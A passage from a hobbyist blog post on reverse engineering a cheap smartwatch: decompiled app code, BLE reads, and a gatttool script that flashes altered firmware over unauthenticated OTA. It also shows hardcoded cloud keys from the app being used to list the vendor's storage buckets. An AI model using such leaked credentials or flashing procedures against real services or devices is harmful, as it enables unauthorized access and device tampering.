-I was half-way towards my goal of being able to pull data off of the watch. What -was left to do was make sense of the data I was reading. - -I headed to the Android Developer Docs to find the interfaces involved with -reading BLE characteristics. It was sufficient to =grep= for references to -[[https://developer.android.com/reference/android/bluetooth/BluetoothGattCharacteristic][BluetoothGattCharacteristic]]. The files of interest are =BluetoothLeService.java= -(~6k LoC) and =UpdateImage.java= (~500 LoC). The former gives us names for all of -the characteristics we can read from the watch. - -#+BEGIN_SRC java -public static final UUID BLE_AUDIO_CMD = UUID.fromString("0000af01-0000-1000-8000-00805f9b34fb"); -public static final UUID BLE_AUDIO_DATA = UUID.fromString("0000af02-0000-1000-8000-00805f9b34fb"); -public static final UUID BLE_AUDIO_DESCRIPTION = UUID.fromString("00002902-0000-1000-8000-00805f9b34fb"); -public static final UUID BLE_AUDIO_SERVICE = UUID.fromString("0000af00-0000-1000-8000-00805f9b34fb"); -public static final UUID MAXSCEND_OTA_CMD = UUID.fromString("0000FD02-0000-1000-8000-00805F9B34FB"); -public static final UUID MAXSCEND_OTA_DATA = UUID.fromString("0000FD01-0000-1000-8000-00805F9B34FB"); -public static final UUID MAXSCEND_OTA_DESCRIPTION = UUID.fromString("00002902-0000-1000-8000-00805f9b34fb"); -public static final UUID MAXSCEND_OTA_SERVICE = UUID.fromString("0000FD00-0000-1000-8000-00805F9B34FB"); -public static final UUID TELINK_SPP_DATA_OTA = UUID.fromString("00010203-0405-0607-0809-0a0b0c0d2b12"); -public static final UUID TELINK_SPP_DATA_OTA_SERVICE = UUID.fromString("00010203-0405-0607-0809-0a0b0c0d1912"); -public static final UUID WERUN_SERVICE = UUID.fromString("0000fee7-0000-1000-8000-00805f9b34fb"); -public static final UUID YOHO_BATTERY_INFO = UUID.fromString("0000cc03-0000-1000-8000-00805f9b34fb"); -public static final UUID YOHO_CHARACTERISTIC_CONFIGURATION = UUID.fromString("00002902-0000-1000-8000-00805f9b34fb"); -public static final UUID YOHO_CONTROL = UUID.fromString("0000cc06-0000-1000-8000-00805f9b34fb"); -public static final UUID YOHO_DEVICE_INFO = UUID.fromString("0000cc02-0000-1000-8000-00805f9b34fb"); -public static final UUID YOHO_REALTIME_DATA = UUID.fromString("0000cc04-0000-1000-8000-00805f9b34fb"); -public static final UUID YOHO_SERVICE = UUID.fromString("0000cc00-0000-1000-8000-00805f9b34fb"); -public static final UUID YOHO_SYNC_DATA = UUID.fromString("0000cc05-0000-1000-8000-00805f9b34fb"); -public static final UUID YOHO_USER_INFO = UUID.fromString("0000cc01-0000-1000-8000-00805f9b34fb"); -#+END_SRC - -While this isn't enough to use them (for example, =YOHO_CONTROL= is clearly the -entry point to a multitude of functionality), the JADX output is readable enough -that behavior is easily determined. Take this excerpt from -=BluetoothLeService.java= as an example: - -#+BEGIN_SRC java -public static void setVibrate(BluetoothGatt bluetoothGatt, boolean z) { - BluetoothGattService service; - BluetoothGattCharacteristic characteristic; - Log.i(TAG, "setVibrate()"); - if (bluetoothGatt != null && \\ - (service = bluetoothGatt.getService(YOHO_SERVICE)) != null && \\ - (characteristic = service.getCharacteristic(YOHO_CONTROL)) != null) { - if (z || ((Boolean) SPUtils.get(sContext, Constant.HAS_BT, false)).booleanValue()) { - characteristic.setValue(new byte[]{1, 1}); - } else { - characteristic.setValue(new byte[]{1, 0}); - } - bluetoothGatt.writeCharacteristic(characteristic); - } -} -#+END_SRC - -If you're averse to Java, the bottom-line is that the vibrate feature[fn:6] is -configured by sending a packet to =YOHO_CONTROL= where the first byte is =1= and the -second byte is whether or not to enable vibration. - -Perhaps that's a bit mundane. If you're more interested by the acronym "OTA" -appearing in this context, you're not alone. - -* Striking Oil - -It wasn't long until I came across a bunch of plaintext API secrets for [[https://en.wikipedia.org/wiki/Alibaba_Cloud][Aliyun]], -which is apparently China's answer to Amazon Web Services. The keys were for -their S3-equivalent (OSS: Object Storage Service), which I needed my friend Luis -to explain to me as I was an AWS virgin until a few months ago. S3 (and OSS) are -key-value databases. The database is divided into *buckets*. It's a fairly simple -way of storing chunks of data "in the cloud", and the format for keys makes -apparent the comparison to a file system. - -Luis also found [[https://github.com/aliyun/ossutil][ossutil]], which is like [[https://aws.amazon.com/cli/][awscli]] for Aliyun, so we were able to -list off the buckets with a couple shell commands. - -#+BEGIN_SRC prog -~ $ ./ossutil64 ls -CreationTime Region StorageClass BucketName -2018-05-15 09:43:06 +0000 UTC oss-cn-beijing Standard oss://android-update -2019-11-15 08:25:54 +0000 UTC oss-cn-beijing Standard oss://mcube-osm -2018-04-28 06:31:06 +0000 UTC oss-cn-beijing Standard oss://mcube-ota -Bucket Number is: 3 - -1.727812(s) elapsed -~ $ ./ossutil64 ls oss://android-update -LastModifiedTime Size(B) StorageClass ETAG ObjectName -2018-05-24 06:03:42 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://android-update/Bingo Sport/ -2018-05-18 09:31:37 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://android-update/DJObewegt/ -2018-05-15 09:49:26 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://android-update/l8star/ -2018-05-15 09:43:33 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://android-update/yoho/ -Object Number is: 4 - -1.716424(s) elapsed -~ $ ./ossutil64 ls oss://mcube-ota -LastModifiedTime Size(B) StorageClass ETAG ObjectName -2020-11-04 03:06:57 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Dialog/ -2020-11-04 03:07:07 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Dialog/MP1612/ -2021-03-23 03:06:34 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Dialog/MP1613/ -2021-07-02 02:43:31 +0000 UTC 281396 Standard 91F5B5CA01AE0953C225E71C1B145153 oss://mcube-ota/Dialog/MP1613/mc_band.8F.64.09.00.img -2021-03-18 07:22:23 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Dialog/MP1615/ -2021-07-01 02:53:01 +0000 UTC 286676 Standard 6893E93A305B0DA4FEC5E30E0B67E598 oss://mcube-ota/Dialog/MP1615/mc_band.8F.64.0F.01.img -2021-07-26 03:06:29 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/GuangJi/ -2021-07-26 03:10:52 +0000 UTC 92392 Standard A69DD1D52C5A714507CA4E18705E02B5 oss://mcube-ota/GuangJi/GM121Q1UI_V7B_6B_04_30.bin -2020-04-29 08:27:35 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Habit+/ -2020-01-10 09:50:03 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/JT/ -2020-01-10 09:50:15 +0000 UTC 119876 Standard EC902EEA38076E9132978E77CE1D72F9 oss://mcube-ota/JT/FACTORY_JT_R7_0.96_HRS3300_V6E_73_00_00.bin -2020-01-10 09:50:15 +0000 UTC 117568 Standard A072ED4E40E2E255670EEDC16D4FB595 oss://mcube-ota/JT/FACTORY_JT_R9_1.0_HRS3300S_V6B_72_00_00.bin -2020-01-10 09:50:15 +0000 UTC 168023 Standard CE29DA4EE5E2829A43B9B8C03D016284 oss://mcube-ota/JT/JT_R3_0.66_HRS3300S_V4A_72_00_00.bin -2020-01-10 09:50:15 +0000 UTC 107564 Standard 1827A73A6778C25C231DE716B5479E60 oss://mcube-ota/JT/JT_R5_0.96_96X96_HRS3300_V4F_6E_00_00.bin -2020-06-17 10:10:47 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/M2/ -2020-07-23 15:01:22 +0000 UTC 111616 Standard DB7815961B514B0637A398FB1CC679DD oss://mcube-ota/M2/M2_E_IPE167_V41_7E_00_32.bin -2020-07-23 15:01:22 +0000 UTC 111616 Standard E784EB22FDB99F943C9790D935D341ED oss://mcube-ota/M2/M2_GS_IPG67_V41_7E_00_33.bin -2018-11-19 09:54:26 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Maxsend/ -2019-11-12 10:29:47 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Maxsend/GM115/ -2019-11-12 10:33:05 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Maxsend/GM115/0.96S/ -2019-11-12 10:38:06 +0000 UTC 96940 Standard E34860D829252CB9F7FB3EA94F5C32C4 oss://mcube-ota/Maxsend/GM115/0.96S/GM115_0.96S_V82_62_00_20.bin -2019-12-26 10:18:31 +0000 UTC 96100 Standard 1D979392E3E040319EFDF59BE90CC82D oss://mcube-ota/Maxsend/GM115/0.96S/GM115_V82_63_00_24.bin -2019-11-12 10:30:33 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Maxsend/GM115/7735BOE/ -2019-11-12 10:30:51 +0000 UTC 96940 Standard BB4945F2B255C2D97725F30E840C91B9 oss://mcube-ota/Maxsend/GM115/7735BOE/GM115_7735BOE_V82_62_00_21.bin -2019-12-26 10:19:10 +0000 UTC 96100 Standard 111EE153248CA0A09CBCE84ED58C2A6C oss://mcube-ota/Maxsend/GM115/7735BOE/GM115_V82_63_00_25.bin -2020-05-14 11:33:04 +0000 UTC 100564 Standard BA066102FA168C7FCFD434DEB8BCBE9D oss://mcube-ota/Maxsend/GM115/GM115_CEUI_0.96S_MC34XX_HRS3300_JJ_V82_66_00_36.bin -2020-05-14 11:33:20 +0000 UTC 100584 Standard D88180FA87B24E934D2CBDDE9E051006 oss://mcube-ota/Maxsend/GM115/GM115_CEUI_BOE_0.96S_MC34XX_HRS3300_JJ_V82_66_00_37.bin -2020-08-19 08:50:57 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Maxsend/GM120/ -2020-08-19 08:52:20 +0000 UTC 116852 Standard 63B9FD299CCFA9D47C22DF79ACD9B712 oss://mcube-ota/Maxsend/GM120/GM120M_V8D_63_00_21.bin -2020-07-27 11:44:29 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Maxsend/GM127B0/ -2020-07-27 11:45:29 +0000 UTC 115772 Standard 34C740D1B7C6E1C732B96306FC2F3917 oss://mcube-ota/Maxsend/GM127B0/GM127_V8C_6D_00_21.bin -2019-12-10 14:44:46 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Maxsend/M3/ -2020-05-15 11:13:43 +0000 UTC 102428 Standard 8032B2E58825204E9264B434BB57F684 oss://mcube-ota/Maxsend/M3/M3_7735BOE_0.96S_MC34XX_HRS3300_SC7R30_JJ_V80_6C_00_25.bin -2020-08-06 03:39:21 +0000 UTC 101856 Standard D4633331413CA3992E836257023271EC oss://mcube-ota/Maxsend/M3/M3_HSD_0.96S_V80_6E_00_24.bin -2019-11-09 08:39:37 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Maxsend/M4/ -2020-05-15 11:14:19 +0000 UTC 102656 Standard 3B6DEE0CA2399446B60499F7C0681B3D oss://mcube-ota/Maxsend/M4/M4_UI3_7735BOE_0.96S_MC34XX_HRS3300_SC7R30_JJ_V81_69_00_25.bin -2020-05-15 13:31:52 +0000 UTC 102636 Standard 2F8CD37A50EB9F3D68DB250EC2A80C98 oss://mcube-ota/Maxsend/M4/M4_UI3_7735BOE_0.96S_MC34XX_HRS3300_SC7R30_JJ_V81_69_00_27.bin -2020-05-15 11:14:19 +0000 UTC 102636 Standard FEE888D1CCA800FD2275B748410477E2 oss://mcube-ota/Maxsend/M4/M4_UI3_HSD_0.96S_MC34XX_HRS3300_SC7R30_JJ_V81_69_00_24.bin -2020-05-15 13:31:52 +0000 UTC 102636 Standard 02B36A5DD5E7154EC163FA20B0BF0FD0 oss://mcube-ota/Maxsend/M4/M4_UI3_HSD_0.96S_MC34XX_HRS3300_SC7R30_JJ_V81_69_00_26.bin -2020-06-01 07:52:49 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/Maxsend/gm116m/ -2020-06-01 07:59:42 +0000 UTC 100420 Standard F2F8A68725BA5B78039011B87F8D1C1B oss://mcube-ota/Maxsend/gm116m/GM116M_EARTHUI_1.3S_MC34XX_HRS3300_JJ_V8A_60_00_24.bin -2020-08-12 05:46:13 +0000 UTC 99920 Standard F36E3E2BC232D48497C717A6CFF0F315 oss://mcube-ota/Maxsend/gm116m/GM116M_SF1049A_V3D_64_00_23.bin -2019-04-08 01:50:48 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-ota/force-upgrade/ -2020-06-01 08:02:51 +0000 UTC 1528 Standard 9D0DB298389CF3296ADFD459C18CB2C1 oss://mcube-ota/force-upgrade/force upgrade.txt -2020-08-04 08:17:16 +0000 UTC 206740 Standard BBF5D1BCC6845E63AE084DF75CDD4312 oss://mcube-ota/mc_band.8F.61.0A.20.img -Object Number is: 45 - -6.872844(s) elapsed -~ $ ./ossutil64 ls oss://mcube-osm -LastModifiedTime Size(B) StorageClass ETAG ObjectName -2019-11-15 08:27:09 +0000 UTC 0 Standard D41D8CD98F00B204E9800998ECF8427E oss://mcube-osm/andromeda/ -2019-11-15 08:27:20 +0000 UTC 153824 Standard DC701B0A89718AFE223C62DE10139A33 oss://mcube-osm/andromeda/andromeda2_ble_1.0.0.bin -Object Number is: 2 - -1.736465(s) elapsed -#+END_SRC - -I swear these buckets were populated with more entries when I was streaming. -Anyway, this is when we realized that this is an elaborate scheme. Whatever -organization is behind the watch I have actually makes several kinds of smart -watches, and several distinct apps for interfacing with them. - -The name on the box is a hint that we care about either -=M2_E_IPE167_V41_7E_00_32.bin= or =M2_GS_IPG67_V41_7E_00_33.bin=, which are -deceptively similar. - -#+BEGIN_SRC prog -$ radiff2 M2* -File size differs 111617 vs 111638 -Buffer truncated to 111617 byte(s) (21 not compared) -0x000065f4 32 => 33 0x000065f4 -0x0000c1b0 32 => 33 0x0000c1b0 -0x0000d9ac 32 => 33 0x0000d9ac -0x0001a876 452d49504531 => 47532d495047 0x0001a876 -0x0001b27f 452d49504531 => 47532d495047 0x0001b27f -0x0001b2a0 452d49504531 => 47532d495047 0x0001b2a0 -#+END_SRC - -But turns out that we're not interested in those. The four hexadecimal bytes in -each filename corresponds to a device identifier that's spit out by OTA -characteristic. - -#+BEGIN_SRC sh -$ sudo gatttool -I -[ ][LE]> connect A4:C1:7A:56:82:90 -Attempting to connect to A4:C1:7A:56:82:90 -Connection successful -[A4:C1:7A:56:82:90][LE]> characteristics -handle: 0x0002, char properties: 0x12, char value handle: 0x0003, uuid: 2b120008-0600-072a-0100-050200042a00 -handle: 0x0004, char properties: 0x02, char value handle: 0x0005, uuid: 0708090a-0b0c-0d2b-1200-080600072a01 -handle: 0x0007, char properties: 0x06, char value handle: 0x0008, uuid: 00010203-0405-0607-0809-0a0b0c0d2b12 -handle: 0x000b, char properties: 0x08, char value handle: 0x000c, uuid: 0000fec7-0000-1000-8000-00805f9b34fb -handle: 0x000d, char properties: 0x20, char value handle: 0x000e, uuid: 0000fec8-0000-1000-8000-00805f9b34fb -handle: 0x0010, char properties: 0x02, char value handle: 0x0011, uuid: 0000fec9-0000-1000-8000-00805f9b34fb -handle: 0x0012, char properties: 0x32, char value handle: 0x0013, uuid: 0000fea1-0000-1000-8000-00805f9b34fb -handle: 0x0015, char properties: 0x2a, char value handle: 0x0016, uuid: 0000fea2-0000-1000-8000-00805f9b34fb -handle: 0x0019, char properties: 0x0a, char value handle: 0x001a, uuid: 0000cc02-0000-1000-8000-00805f9b34fb -handle: 0x001b, char properties: 0x12, char value handle: 0x001c, uuid: 0000cc03-0000-1000-8000-00805f9b34fb -handle: 0x001e, char properties: 0x12, char value handle: 0x001f, uuid: 0000cc04-0000-1000-8000-00805f9b34fb -handle: 0x0021, char properties: 0x1a, char value handle: 0x0022, uuid: 0000cc05-0000-1000-8000-00805f9b34fb -handle: 0x0024, char properties: 0x08, char value handle: 0x0025, uuid: 0000cc06-0000-1000-8000-00805f9b34fb - -[A4:C1:7A:56:82:90][LE]> char-read-uuid 0000cc02-0000-1000-8000-00805f9b34fb -handle: 0x001a value: 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 - -[A4:C1:7A:56:82:90][LE]> char-read-hnd 0x001a -Characteristic value/descriptor: 00 00 00 00 00 00 00 00 00 00 00 21 41 6b 00 00 00 00 00 00 - -[A4:C1:7A:56:82:90][LE]> char-read-uuid 0000cc02-0000-1000-8000-00805f9b34fb -handle: 0x001a value: 00 00 00 00 00 00 00 00 00 00 00 21 41 6b 00 00 00 00 00 -#+END_SRC - -In our case, we want something with the filename =..._V41_xx_00_21.bin= (note -indices 11-14 in the byte array above). I have such a file saved from when I was -initially doing the reverse engineering for this project, -=LD702A_DY_0.42_MC34XX_EM70XX_HRS3300_JJ_V41_72_00_21.bin=, but this doesn't -appear in the listing from =ossutil= from today. I suspect the organization has -since nuked several firmware images. - -* Flashing Firmware - -I was determined to flash custom firmware to this device. There are several -characteristics whose name contains "OTA", but only the =TELINK_*= ones are -advertised by my watch. The first clue, in =BluetoothLeService.java=: - -#+BEGIN_SRC java -public void onServicesDiscovered(BluetoothGatt bluetoothGatt, int i) { - ... - int i3 = 0; - while (true) { - if (i3 >= services.size()) { - break; - } - UUID uuid2 = services.get(i3).getUuid(); - if (uuid2.toString().equals(BluetoothLeService.TELINK_SPP_DATA_OTA_SERVICE.toString())) { - BluetoothLeService.sOtaType = 1; - break; - } else if (uuid2.toString().equals(BluetoothLeService.MAXSCEND_OTA_SERVICE.toString())) { - BluetoothLeService.sOtaType = 2; - break; - } else { - BluetoothLeService.sOtaType = 0; - i3++; - } - } - ... -} -#+END_SRC - -So we want to find a branch dependent on =BluetoothLeService.sOtaType= being =1=. -There's one hidden deep in =MainActivity.java=[fn:7]: - -#+BEGIN_SRC java -public void onReceive(Context context, Intent intent) { - ... - else if (action.equals(Constant.ACTION_OTA_CONFIRMED)) { - int intValue = ((Integer) SPUtils.get(MainActivity.this, Constant.DEV_BATT_PERCENTAGE, 0)).intValue(); - int intValue2 = ((Integer) SPUtils.get(MainActivity.this, Constant.DEV_BATT_STATUS, 3)).intValue(); - if (intValue >= 50 || intValue2 != 3) { - SPUtils.put(MainActivity.this, "has_weather", false); - if (BluetoothLeService.sOtaType == 1) { - if (TelinkOta.getBytesCount() != 0) { - new TelinkOtaTask().execute(new Void[0]); - } - } else if (BluetoothLeService.sOtaType == 2) { - BluetoothLeService.setMxdCmdCharNotify(BluetoothLeService.getBluetoothGatt()); - } - } else { - new AlertDialog.Builder(MainActivity.this) - .setMessage(R.string.force_ota_failed) - .setNegativeButton(R.string.ok, (DialogInterface.OnClickListener) null) - .create() - .show(); - Log.i(MainActivity.TAG, "can not upgrade firmware while battery is less than 50%"); - } - } -} -#+END_SRC - -This brings us to the conveniently named =TelinkOtaTask=. - -#+BEGIN_SRC java -public class TelinkOtaTask extends AsyncTask { - long delay = 100; - - public TelinkOtaTask() { - } - - /* access modifiers changed from: protected */ - public void onPreExecute() { - super.onPreExecute(); - MainActivity.this.initOTAProgressDialog(1); - MainActivity.this.getWindow().addFlags(128); - } - - /* access modifiers changed from: protected */ - public Void doInBackground(Void... voidArr) { - for (int i = 0; i < TelinkOta.getBlockCount() + 3; i++) { - if (i != 0) { - if (i == 1) { - BluetoothLeService.writeOtaCharacteristic(new byte[]{1, -1}); - SystemClock.sleep(1000); - } else if (i == TelinkOta.getBlockCount() + 2) { - BluetoothLeService.writeOtaCharacteristic(TelinkOta.getEndCmd()); - TelinkOta.close(); - SystemClock.sleep(1000); - MainActivity.this.unboundAllMSDevice(); - } else { - if (TelinkOta.getCurrentCount() % 100 == 0) { - SystemClock.sleep(0); - } - BluetoothLeService.writeOtaCharacteristic(TelinkOta.getBlock(TelinkOta.getCurrentCount())); - TelinkOta.currentCountPlus(); - SystemClock.sleep(this.delay); - publishProgress(new Void[0]); - } - } - } - return null; - } - - /* access modifiers changed from: protected */ - public void onProgressUpdate(Void... voidArr) { - super.onProgressUpdate(voidArr); - MainActivity.this.otaProgressDialog.incrementProgressBy(1); - } - - /* access modifiers changed from: protected */ - public void onCancelled() { - super.onCancelled(); - } - - /* access modifiers changed from: protected */ - public void onCancelled(Void voidR) { - super.onCancelled(voidR); - } -} -#+END_SRC - -The code is using this =com.uthink.ring.update.TelinkOta= class to chunk the -firmware image, and write it to the OTA characteristic one block at a time. We -begin the transfer by writing =0x01ff=, and end by writing =TelinkOta.getEndCmd()=. -The =TelinkOta= class is short enough that I can drop the listing here. - -#+BEGIN_SRC java -package com.uthink.ring.update; - -import java.io.FileNotFoundException; -import java.io.IOException; -import java.io.InputStream; -import java.nio.ByteBuffer; -import java.nio.ByteOrder; -import java.util.Arrays; - -public class TelinkOta { - public static final int BLOCK_LENGTH = 16; - public static final int CODE_SIZE_LENGTH = 4; - public static final int CODE_SIZE_START = 24; - private static final boolean DEBUG = false; - private static final String TAG = TelinkOta.class.getSimpleName(); - public static final boolean USE_CB = false; - public static int blockCount; - public static byte[] bytes; - public static int bytesCount; - public static int currentCount; - - public static void setFile(InputStream inputStream) { - try { - bytesCount = inputStream.available(); - blockCount = (int) Math.ceil((double) (((float) bytesCount) / 16.0f)); - bytes = new byte[bytesCount]; - inputStream.read(bytes); - inputStream.close(); - } catch (FileNotFoundException e) { - e.printStackTrace(); - } catch (NullPointerException e2) { - e2.printStackTrace(); - } catch (IOException e3) { - e3.printStackTrace(); - } - } - - public static void setFile(byte[] bArr) { - bytesCount = bArr.length; - blockCount = (int) Math.ceil((double) (((float) bytesCount) / 16.0f)); - bytes = bArr; - } - - public static int getBytesCount() { - return bytesCount; - } - - public static int getBlockCount() { - return blockCount; - } - - public static int getCurrentCount() { - return currentCount; - } - - public static void currentCountPlus() { - currentCount++; - } - - public static int getCodeSize() { - return ByteBuffer.wrap(Arrays.copyOfRange(bytes, 24, 28)).order(ByteOrder.LITTLE_ENDIAN).getInt(); - } - - public static byte[] getEndCmd() { - byte[] bArr = new byte[6]; - bArr[0] = 2; - bArr[1] = -1; - int i = blockCount; - bArr[2] = (byte) ((i - 1) & 255); - bArr[3] = (byte) (((i - 1) >> 8) & 255); - bArr[4] = (byte) (bArr[2] ^ 255); - bArr[5] = (byte) (bArr[3] ^ 255); - return bArr; - } - - public static byte[] getBlock(int i) { - byte[] bArr; - byte[] bArr2 = new byte[0]; - byte[] bArr3 = {(byte) (i & 255), (byte) ((i >> 8) & 255)}; - try { - if (i == blockCount - 1) { - int i2 = bytesCount % 16; - if (i2 == 0) { - int i3 = i * 16; - bArr = Arrays.copyOfRange(bytes, i3, i3 + 16); - } else { - int i4 = i * 16; - byte[] copyOfRange = Arrays.copyOfRange(bytes, i4, i4 + i2); - byte[] bArr4 = new byte[(16 - i2)]; - for (int i5 = 0; i5 < bArr4.length; i5++) { - bArr4[i5] = -1; - } - bArr = concatByteArrays(copyOfRange, bArr4); - } - } else { - int i6 = i * 16; - bArr = Arrays.copyOfRange(bytes, i6, i6 + 16); - } - byte[] concatByteArrays = concatByteArrays(concatByteArrays(bArr2, bArr3), bArr); - int CRC_16 = CRC_16(byteToUnsignedChar(concatByteArrays)); - byte[] concatByteArrays2 = concatByteArrays(concatByteArrays, new byte[]{(byte) (CRC_16 & 255), (byte) ((CRC_16 >> 8) & 255)}); - printByteToHex(concatByteArrays2); - return concatByteArrays2; - } catch (NullPointerException unused) { - return bArr2; - } - } - - public static int CRC_16(char[] cArr) { - char[] cArr2 = {0, 40961}; - int i = 0; - char c = 65535; - while (i < cArr.length) { - char c2 = cArr[i]; - char c3 = c; - for (int i2 = 0; i2 < 8; i2++) { - c3 = cArr2[(c3 ^ c2) & 1] ^ (c3 >> 1); - c2 = (char) (c2 >> 1); - } - i++; - c = c3; - } - return c; - } - - public static void close() { - bytesCount = 0; - blockCount = 0; - currentCount = 0; - bytes = null; - } - - public static byte[] concatByteArrays(byte[] bArr, byte[] bArr2) { - byte[] bArr3 = new byte[(bArr.length + bArr2.length)]; - System.arraycopy(bArr, 0, bArr3, 0, bArr.length); - System.arraycopy(bArr2, 0, bArr3, bArr.length, bArr2.length); - return bArr3; - } - - public static char[] byteToUnsignedChar(byte[] bArr) { - char[] cArr = new char[bArr.length]; - for (int i = 0; i < cArr.length; i++) { - cArr[i] = (char) (bArr[i] & 255); - } - return cArr; - } - - public static void printByteToHex(byte[] bArr) { - StringBuilder sb = new StringBuilder(); - for (byte b : bArr) { - if (sb.length() > 0) { - sb.append(':'); - } - sb.append(String.format("%02x", new Object[]{Byte.valueOf(b)})); - } - } -} -#+END_SRC - -The bottom-line is that we're breaking the firmware image into 16-byte blocks -and attaching a [[https://en.wikipedia.org/wiki/Cyclic_redundancy_check][CRC-16]] to each one. The code's already there, so I hacked -together a little =main= function to perform the chunking for a file of my -choosing. - -#+BEGIN_SRC java -public static void main(String[] args) { - if (args.length != 1) { - System.err.printf("usage: TelinkOta [IMAGE]\n"); - return; - } - - try { - FileInputStream f = new FileInputStream(args[0]); - setFile(f); - } catch (FileNotFoundException e) { - e.printStackTrace(); - return; - } - - System.out.println(printByteToHex(new byte[]{1, -1})); - for (int i = 0; i < TelinkOta.getBlockCount(); i++) { - byte[] block = TelinkOta.getBlock(i); - System.out.println(printByteToHex(block)); - } - System.out.println(printByteToHex(TelinkOta.getEndCmd())); -} -#+END_SRC - -This spits out each "packet" as a line of hexadecimal digits. I can then use -some Emacs magic to turn said lines into shell commands, producing an extremely -cursed shell script to flash a hard-coded firmware image to the device.[fn:9] - -#+BEGIN_SRC prog -gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=01ff -gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=00000e800103000000004b4e4c54000288006365 -gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=01007680000000000000cc9e0100000000007423 -gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=020031083209320a910202ca085004b1fa878c26 -gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=03002008c06b210885061f08c06b200885063504 -gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=040000a02009200a910202ca085004b1fa873b7f -gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=05001f09200a910202ca085004b1fa871b090552 -gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=06001d08084001b048403fa31bf31b58a5abd4be -gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=070012c11fa2050b060812f302da02d3830271fc -gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=0800fbc1040b88a21a40fe87c0460080800095a0 -gatttool -b A4:C1:7a:56:82:90 --char-write-req --handle=0x0008 --value=090000868000020680001009110a110b9a02592c -#+END_SRC - -At this point, I hadn't reverse-engineered the firmware image, so I attempted -changing one of the ASCII strings that =radare2= could find, with little -consideration to what might happen. - -#+CAPTION: Before and after flashing firmware. -[[./dollar-bin-reverse-engineering-firmware-mod.jpg]] - -* Where I Would Have Gone Next - -I found being able to flash unauthenticated firmware to be a humorous attack -vector. How about a worm for that $5 watch you got at the gas station? - -I came across a [[https://gitter.im/nRF51822-Arduino-Mbed-smart-watch/Lobby?at=5b62115c854add6cee148651][Gitter conversation]] revealing I'm not the first to try to -reverse engineer this watch. Ah well. They figured out that the SoC is likely -based on [[http://wiki.telink-semi.cn/doc/ds/DS_TLSR8232-E_Datasheet%20for%20Telink%20BLE%20SoC%20TLSR8232.pdf][TLSR8232]], and the MCU is likely to be the [[https://github.com/rgov/Ghidra_TELink_TC32][TC32]][fn:8]. That saved me -from having to hammer my watch into pieces. - -I couldn't find much information on either, so if I were going to reverse -engineer the firmware, I would have to reverse engineer the [[https://github.com/OnTheWayJohn/ble_lt_sdk][SDK]] to figure out -things like the image load address. The project's on the shelf for now because -of that. It /might/ be a fun project to reverse engineer the SoC/MCU, and I'd -certainly learn a lot, but that would be more work than I want to put into this --- I don't have an immediate interest in firmware reverse engineering at the -moment. - -[fn:1] This was before I learned how the sleep tracking features on these sorts of products work: not well. In retrospect, I should've saved up for an EEG device like the now-discontinued [[https://www.gwern.net/Zeo][Zeo]]. - -[fn:2] My primary concern was the software being non-free, but I also voiced concerns about privacy in the live stream. There are [[https://reports.exodus-privacy.eu.org/en/reports/com.uthink.ring/latest/][three separate analytics platforms]] tracking users of the application. - -[fn:3] ref: [[https://stackoverflow.com/questions/2719469/why-is-the-jvm-stack-based-and-the-dalvik-vm-register-based][Stack Overflow: Why is the JVM stack-based and the Dalvik VM register-based?]] - -[fn:4] ref: [[https://source.android.com/devices/tech/dalvik/gc-debug][Android Open Source Project: Debugging ART Garbage Collection]] - -[fn:5] Of course, Java is pervasive, so we have cursed things such as [[https://en.wikipedia.org/wiki/Jazelle][Jazelle]] which /do/ execute bytecode on hardware. - -[fn:6] When I was first working on this, the damn vibrate feature woke me up at five in the morning, trying to tell me that the watch was low on battery. - -[fn:7] If you're unfamiliar with the Android SDK, "activities" compose the UI. As in, this snippet is in the UI code. - -[fn:8] There have apparently been /some/ [[https://hackaday.com/2020/11/17/custom-firmware-for-cheap-bluetooth-thermometers/][reverse engineering efforts]] involving the TC32. - -[fn:9] In this case, I'm referring to the characteristic by its /handle/ rather than by its UUID. My uninformed understanding is that the handle is a sort of "short" identifier used for the same purpose as the UUID. I'm doing it this way because =gatttool= only let me write to this particular characteristic if I used a handle. diff --git a/org/Duke on Fluidsynth/duke-on-fluidsynth.org b/org/Duke on 